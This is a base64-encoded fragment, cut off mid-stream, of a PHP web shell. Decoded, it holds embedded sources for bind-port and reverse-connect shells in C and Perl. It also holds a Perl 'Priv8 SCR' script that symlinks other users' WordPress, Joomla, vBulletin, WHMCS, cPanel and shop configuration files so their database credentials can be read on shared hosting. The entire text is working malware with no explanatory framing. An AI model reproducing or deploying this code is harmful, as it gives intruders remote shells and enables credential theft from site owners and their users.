w0KJHBvcnRfYmluZF9iZF9jPSJiVk5oYjlvd0VQMk94SCs0cGhJNE5JTkFOMDBhWXhKYVc2bWF4cWJTTHhOREtEaVh4aUxZa1czS0dPcC8zemxPcG83eElZNzkzanZmDQorZmw4S1NRdmRpbkNSMk5Ub2ZyNXAzYnI4aFdtaFh3NkJROW1ZQThsbWpPNFVYeUQ5b1NRYUFWOUF5RlBDTlJhK3BSQ1d0Z21RckpFDQpQL0dJaHVmUWcyNDlicmQ0bm1qbzlSeEJxeU5BdXdXT2R2bXlOQUtKK3l3bEJpcmhlcGN0cnVPbFc5TUpkdHpya2pUVkt5RkI0MVpaDQpkS1RJV0tiMGhvVXdtVUFjd3RGdDYrbStFWEtWSlZ0UkhHQUMwN3ZWL2V6MmNmd3ZYU3B0aWN5dGtvWWxWZ2xYL2ZOaXVBekRFNlZMDQozVGZWcnc0bzJQMXNlblB6c0pyT2ZvUmpsOWNmaFdqdklhdHpSdk52bjcrczVvOFB0OU92VVJ6V1pWOTRkUWdsZWFnMEMzd1FWS3VnDQpVcTJGVEZuakR6dnhBWHBoeDljWFFmeHI2UGN0aExFby84YThxOEI5TGdwa1E3b09nS01idk5lVGhITXNiU09PNjlJQTBsMDVZcFhrDQpIRFQ4SHhyVjBGNExpelVXZkUrTTJTdWRmZ2lpWWJPTnhpU3RlYnJneUlqZnFESkcwN0FXaUF6WUJjOUxpdlUzTVZwR0ZWMngxSjRXDQp0eXhBbml2WVk4SFZGc0VxV0YrL2Y3c0JrMk5SUUtjREEvSnRzRTVNRG05RVVHK01oY0Zxa3BYMEhteEdicWJrZEJUTWxkYUhSc1VMDQpaZW9EZU9TRkJ2cGVmQ2ZYaGZsT3BnVGt2SitqdEtpUjd2TG9oWUtDcVMyWm1NUmo0WjVnUVpmU2lNYmk2aXFrZG5IYXJFRVhZdWs2DQp1UHRUZHVtc3IwSEM0cTVycnpOaWZWN3NDM1pXVW1xK0xWbFZhNU9mUWpUYW5aWVFPK1VmIjsNCiRwb3J0X2JpbmRfYmRfcGw9IlpaSmhUOEl3RUlhL2svQWZqa2xnUzJhQStCRm1KREIxY1c1a0hTWkd6VEsyUXhwbXUyd2xZb0QvYnJ1QklmaXRkMzN1dlh1dnZXcjENCk5tWFJXMURXeTdISW1vMDJlYlJkMTlLcTFDSXVWM0JOdFdHelFaZWczNDJEaHhjWXdjQ0FIZUNXQ24xZ0RPRWdpMXlIaExZWHpmd2cNCnROcUtldXQveUtKTmlVQjRza1loZzNaZWNNRVRubG1mS0tyejRvZkZYNmgzUlpKM0RVbVVGYW9Uc3pPN2p4elBEczBPOFNkUEVRa0QNCmUveHMvZ2tZc045RFNoRzBTY3dFSkFYR0FxR3VmbWRxMmhLRkNubXUxSWp2UmtwSDZoRS9DdXc1c2NmVGFXQU9WRTlwTTVXTW91TTANCkxTTEs5SE0zcHVNcE5ocDdyOFpGVzU0amc1d1h4NVlaTFFVeUtYVnp3ZFVYWitUM2ltWW9WOWRzN0pxTk9FbFFUam54UGM4a1JyVm8NCnZhVzNjNXBhUzE2c2pabzZxVEV1UUtVMVVPL1JTbkZKR2FhZ2NGVmJqVVRDcWVPWjJxaWpOTFd6ckQ4UFRlMzJYOW9PZ3ZNMGJqR0INCitoZWNmT1FGbFQ0VWNMU2ttSTFjZVkzVnJwS015OWRXVUNWQ0JmVGxRWDZPd3k4PSI7DQokYmFja19jb25uZWN0PSJmWkZSUzhNd0ZJWGZCL3NQV1N3MmhVcm5xeVBDMENwRDNLU3R2cWgwWFJwY3NFMUtrb0tGL1hpVHRDSVY2dHU1NStaODl5WTVXMFN0DQprdEdCOGFpaHNwclBXa1ZCS3NnbjFhdjV6Q04xaVFHc092NEZiYWs2cFdtTmdVL0pVUUM0YjNsUlUzQlI3T0ZxY0ZocHRNT3BvMjhqDQpTMndoVnVsQ2ZsQ052WFZ5Ly9LNmZMZFdJK1NQY2VrTVZwU2x4SXhUblJkYWNEU0VBbkE2Z1pKUkJHTXBoYndDM3VLTnc4QWhYRUtaDQpqYTNJbWNsWWFnaDYxbjlKS2JUQWh1N0VvYk4zUWI0bWpXL2J5cjBCU25jM0QzRVdncWU3ZkxPMXdocDVtaVh4K3RITWNOSHBHVVJ3DQpUc2t2cGQ5MityeG9LRWRwZHJ2WmhnQmVuL2V4VVdmM25FMjE0aVQ1MityL0N3My81amFxaEtMOWlGRnB1S1Bhd0lMVk53PT0iOw0KJGJhY2tfY29ubmVjdF9jPSJYVkhiYWdJeEVIMFgvSWRoaFpMVVdGMWYxWUtJQmVsRnFmWkpsaVVtMlc3b2JpSkpMTFdsLzk0azI5cldoeUV6YytaMlRqcFNzZXJBDQpCWXl0NDFKZmxkZnRWdWMzZDdSOXE5bUxjR2VBRWs1NjYwc1ZBYWtjMUZRcUZCeHFuaGtCVmxJRGw5NS8zV2E0M2Zwb3R5Q0FCUjk1DQp6enB6WUE3Q2FNcTV5YVVDSzFWQVlwdXA3WGFZWnBQRTFOQXJJQm1CUnpnVnRWWW9KUU1jUi9qVjN2S0Mxckk2d2dTbU4vbmlZYjc1DQppKzIxY1I0cG5WWVdVYWNsaXZjTU0veHZSRGpoeXNiSFZ3ZGUwVytLMHd6SDlidDNZZlJQaW5nQ2xWQ25pbTdhL1p1SkMwSlR3ZjNBDQpSa0QwZlIrQjlYSjJtNjgzai9QcFBZSEZhdlc0M0N6enpXeUZJZmJJQWhCaVdpbkJIQ280QVhTbUZseGl1UEIzRTAvZ1hlamlITWNZDQpqd2NZZ3VJQWUyR01OaWpaOWpMNEdZcVRTQjlBdkVtSEdqay9tMTloMUNHdlBvSElZNUExT2gydEUzWEllMWJ4S3c3N1lUeXQ2VDJGDQo2Zjl3R0VQeEpsaUZrdjVPcXI0dEU1TFlFbm95SWZEd2RIY1hLMWlscmZBZFViUFBMdz09IjsNCi8vY29uZnNoZWxsDQokY29uZmlnc2hlbGwgPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNJQzFKTDNWemNpOXNiMk5oYkM5aVlXNWtiV2x1RFFwd2NtbHVkQ0FpUTI5dWRHVnVkQzEwZVhCbE9pQjBaWGgwTDJoMGJXeGNibHh1SWpzTkNuQnlhVzUwSnp3aFJFOURWRmxRUlNCb2RHMXNJRkJWUWt4SlF5QWlMUzh2VnpOREx5OUVWRVFnV0VoVVRVd2dNUzR3SUZSeVlXNXphWFJwYjI1aGJDOHZSVTRpSUNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk5VVVpOTRhSFJ0YkRFdlJGUkVMM2hvZEcxc01TMTBjbUZ1YzJsMGFXOXVZV3d1WkhSa0lqNE5DanhvZEcxc0lIaHRiRzV6UFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMM2hvZEcxc0lqNE5DZzBLUEdobFlXUStEUW84YldWMFlTQm9kSFJ3TFdWeGRXbDJQU0pEYjI1MFpXNTBMVXhoYm1kMVlXZGxJaUJqYjI1MFpXNTBQU0psYmkxMWN5SWdMejROQ2p4dFpYUmhJR2gwZEhBdFpYRjFhWFk5SWtOdmJuUmxiblF0Vkhsd1pTSWdZMjl1ZEdWdWREMGlkR1Y0ZEM5b2RHMXNPeUJqYUdGeWMyVjBQWFYwWmkwNElpQXZQZzBLUEhScGRHeGxQbEJ5YVhZNElGTkRVand2ZEdsMGJHVStEUW84YzNSNWJHVWdkSGx3WlQwaWRHVjRkQzlqYzNNaVBnMEtMbTVsZDFOMGVXeGxNU0I3RFFvZ1ptOXVkQzFtWVcxcGJIazZJSFJoYUc5dFlTd2dkbVZ5WkdGdVlTd2dRWEpwWVd3N0RRb2dabTl1ZEMxemFYcGxPaUJ0WldScGRXMDdEUW9nWTI5c2IzSTZJQ05HUmtaR1JrWTdEUW9nWW1GamEyZHliM1Z1WkMxamIyeHZjam9nSXpZMk5qWTJOanNOQ2lCMFpYaDBMV0ZzYVdkdU9pQmpaVzUwWlhJN0RRcDlEUW84TDNOMGVXeGxQZzBLUEM5b1pXRmtQZzBLSnpzTkNuTjFZaUJzYVd4N0RRb2dJQ0FnS0NSMWMyVnlLU0E5SUVCZk93MEtKRzF6Y2lBOUlIRjRlM0IzWkgwN0RRb2thMjlzWVQwa2JYTnlMaUl2SWk0a2RYTmxjanNOQ2lScmIyeGhQWDV6TDF4dUx5OW5PdzBLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJKbGRHRXZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpY3RhbTl2Yld4aExuUjRkQ2NwSURzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV3B2YjIxc1lTNTBlSFFuS1NBN0lBMEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlvYjIxbEwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxXcHZiMjFzWVNBdElHaHZiV1V1ZEhoMEp5a2dPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MWGR2Y21Sd2NtVnpjeTUwZUhRbktTQTdJQTBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5aWJHOW5MM2R3TFdOdmJtWnBaeTV3YUhBbkxDUnJiMnhoTGljdGQyOXlaSEJ5WlhOekxuUjRkQ2NwSURzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM2RsWWk5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MWGR2Y21Sd2NtVnpjeUF0SUhkbFlpNTBlSFFuS1NBN0lBMEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlUVTBrdWNHaHdKeXdrYTI5c1lTNG5MU0JESUUwZ1JpQXVkSGgwSnlrZ095QU5DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2Wm05eWRXMHZVMU5KTG5Cb2NDY3NKR3R2YkdFdUp5MGdReUJOSUVZZ0xTQm1iM0oxYlM1MGVIUW5LU0E3SUEwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXBibU12WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ1RYbENRaTUwZUhRbktTQTdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJadmNuVnRMMmx1WXk5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxTQk5lVUpDSUMwZ1ptOXlkVzB1ZEhoMEp5a2dPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxTQlBkR2hsY2k1MGVIUW5LU0E3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyeHBZaTlqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFNCQ1lXeHBkR0poYm1jdWRIaDBKeWtnT3lBTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZMnhwWlc1MEwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxXTnNhV1Z1ZEhNdWRIaDBKeWtnT3lBTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZMnhwWlc1MGN5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MWpiR2xsYm5RdWRIaDBKeWtnT3lBTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZbWxzYkdsdVp5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MWlhV3hzYVc1bkxuUjRkQ2NwSURzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMkpwYkd4cGJtZHpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV0pwYkd4cGJtZHpMblI0ZENjcElEc2dEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDNkb2JXTnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MU0IzYUcxamN5QXRJSGRvYldOekxuUjRkQ2NwSURzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM2RvYlM5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SnkwZ2QyaHRJQzBnZDJodExuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOW1iM0oxYlM5cGJtTnNkV1JsY3k5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxTQldRblZzYkdWMGFXNGdMU0JtYjNKMWJTNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZabTl5ZFcwdlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUp3a3RJRkJvY0VKQ0lDMGdabTl5ZFcwdWRIaDBKeWtnT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOTNhRzFqTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuTFNCM2FHMWpJQzBnZDJodFl5NTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZjM1ZpYldsMGRHbGphMlYwTG5Cb2NDY3NKR3R2YkdFdUp3a3RJSGRvYldOek1pNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZiV0Z1WVdkbEwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkNTMXRZVzVuWlhkb2JXTnpMblI0ZENjcE95QU5DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YlhsemFHOXdMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5DUzF0ZVhOb2IzQXVkSGgwSnlrN0lBMEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl6ZFhCd2IzSjBMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MWE4xY0hCdmNuUXVkSGgwSnlrN0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM04xY0hCdmNuUnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MWE4xY0hCdmNuUnpMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl2YzJOdmJXMWxjbU5sTDJsdVkyeDFaR1Z6TDJOdmJtWnBaM1Z5WlM1d2FIQW5MQ1JyYjJ4aExpY3RiM05qYjIxdFpYSmpaUzUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YjNOamIyMXRaWEpqWlhNdmFXNWpiSFZrWlhNdlkyOXVabWxuZFhKbExuQm9jQ2NzSkd0dmJHRXVKeTF2YzJOdmJXMWxjbU5sY3k1MGVIUW5LVHNOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmMyaHZjSEJwYm1jdmFXNWpiSFZrWlhNdlkyOXVabWxuZFhKbExuQm9jQ2NzSkd0dmJHRXVKeTF6YUc5d0xYTm9iM0J3YVc1bkxuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXpZV3hsTDJsdVkyeDFaR1Z6TDJOdmJtWnBaM1Z5WlM1d2FIQW5MQ1JyYjJ4aExpY3RjMkZzWlM1MGVIUW5LVHNOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dllXMWxiV0psY2k5amIyNW1hV2N1YVc1akxuQm9jQ2NzSkd0dmJHRXVKeTFoYldWdFltVnlMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlqYjI1bWFXY3VhVzVqTG5Cb2NDY3NKR3R2YkdFdUp5MWhiV1Z0WW1WeU1pNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZkM0F2ZDNBdFkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUp5MGdkMjl5WkhCeVpYTnpJQzBnZDNBdWRIaDBKeWs3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzZHdMMkpsZEdFdmQzQXRZMjl1Wm1sbkxuQm9jQ2NzSkd0dmJHRXVKeTBnZDNkdmNtUndjbVZ6Y3lBdElIZHdJQzBnWW1WMFlTNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZbVYwWVM5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MU0IzYjNKa2NISmxjM01nTFNCaVpYUmhMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl3Y21WemN5OTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFhkd01UTXRjSEpsYzNNdWRIaDBKeWs3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzZHZjbVJ3Y21WemN5OTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFNCM2IzSmtjSEpsYzNNZ0xYZHZjbVJ3Y21WemN5NTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZkMjl5WkhCeVpYTnpMMkpsZEdFdmQzQXRZMjl1Wm1sbkxuQm9jQ2NzSkd0dmJHRXVKeTBnZDI5eVpIQnlaWE56SUMwZ2QyOXlaSEJ5WlhOekxXSmxkR0V1ZEhoMEp5azdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDI1bGQzTXZkM0F0WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2QyOXlaSEJ5WlhOeklDMXVaWGR6TG5SNGRDY3BPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5dVpYY3ZkM0F0WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2QyOXlaSEJ5WlhOeklDMGdibVYzTG5SNGRDY3BPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5aWJHOW5jeTkzY0MxamIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxTQjNiM0prY0hKbGMzTWdMU0JpYkc5bmN5NTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZhRzl0WlM5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MU0IzYjNKa2NISmxjM01nTFNCb2IyMWxMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl3Y205MFlXd3ZkM0F0WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2QyOXlaSEJ5WlhOeklDMGdjSEp2ZEdGc0xuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXphWFJsTDNkd0xXTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpY3RJSGR2Y21Sd2NtVnpjeUF0SUhOcGRHVXVkSGgwSnlrN0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMjFoYVc0dmQzQXRZMjl1Wm1sbkxuQm9jQ2NzSkd0dmJHRXVKeTBnZDI5eVpIQnlaWE56SUMwZ2JXRnBiaTUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2ZEdWemRDOTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFNCM2IzSmtjSEpsYzNNZ0xTQjBaWE4wTG5SNGRDY3BPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5cWIyOXRiR0V2WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWN0YW05dmJXeGhJQzBnYW05dmJXeGhJQzUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2Y0hKdmRHRnNMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MU0JxYjI5dGJHRWdMU0J3Y205MFlXd3VkSGgwSnlrN0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMnB2Ynk5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SnkwZ2FtOXZiV3hoSUMwZ2FtOXZMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlqYlhNdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGljdElHcHZiMjFzWVNBdElHTnRjeTUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YzJsMFpTOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MGdhbTl2Yld4aElDMGdjMmwwWlM1MGVIUW5LVHNOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmJXRnBiaTlqYjI1bWFXZDFjbUYwYVc5dUxuQm9jQ2NzSkd0dmJHRXVKeTBnYW05dmJXeGhJQzBnYldGcGJpNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZibVYzY3k5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SnkwZ2FtOXZiV3hoSUMwZ2JtVjNjeTUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2Ym1WM0wyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxTQnFiMjl0YkdFZ0xTQnVaWGN1ZEhoMEp5azdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJodmJXVXZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpY3RJR3B2YjIxc1lTQXRJR2h2YldVdWRIaDBKeWs3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzWmlMMmx1WTJ4MVpHVnpMMk52Ym1acFp5NXdhSEFuTENScmIyeGhMaWN0SUhaaUxuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOTJZak12YVc1amJIVmtaWE12WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2RtSXpMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlqY0dGdVpXd3ZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpY3RZM0JoYm1Wc0xuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXdZVzVsYkM5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1Snkxd1lXNWxiQzUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YUc5emRDOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MW9iM04wTG5SNGRDY3BPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5b2IzTjBhVzVuTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuTFdodmMzUnBibWN1ZEhoMEp5azdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJodmMzUnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV2h2YzNSekxuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXBibU5zZFdSbGN5OWthWE4wTFdOdmJtWnBaM1Z5WlM1d2FIQW5MQ1JyYjJ4aExpY3RlbVZ1WTJGeWRDNTBlSFFuS1RzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM3BsYm1OaGNuUXZhVzVqYkhWa1pYTXZaR2x6ZEMxamIyNW1hV2QxY21VdWNHaHdKeXdrYTI5c1lTNG5MU0I2Wlc1allYSjBJQzBnYzJodmNDNTBlSFFuS1RzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM05vYjNBdmFXNWpiSFZrWlhNdlpHbHpkQzFqYjI1bWFXZDFjbVV1Y0dod0p5d2thMjlzWVM0bkxYTm9iM0F0V2tOemFHOXdMblI0ZENjcE95QU5DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2VTJWMGRHbHVaM011Y0dod0p5d2thMjlzWVM0bkxTQnpiV1l1ZEhoMEp5azdJQTBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5emJXWXZVMlYwZEdsdVozTXVjR2h3Snl3a2EyOXNZUzRuTFNCemJXWWdMU0J6YldZdWRIaDBKeWs3SUEwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOW1iM0oxYlM5VFpYUjBhVzVuY3k1d2FIQW5MQ1JyYjJ4aExpY3RJSE50WmlBdElHWnZjblZ0TG5SNGRDY3BPeUFOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlpt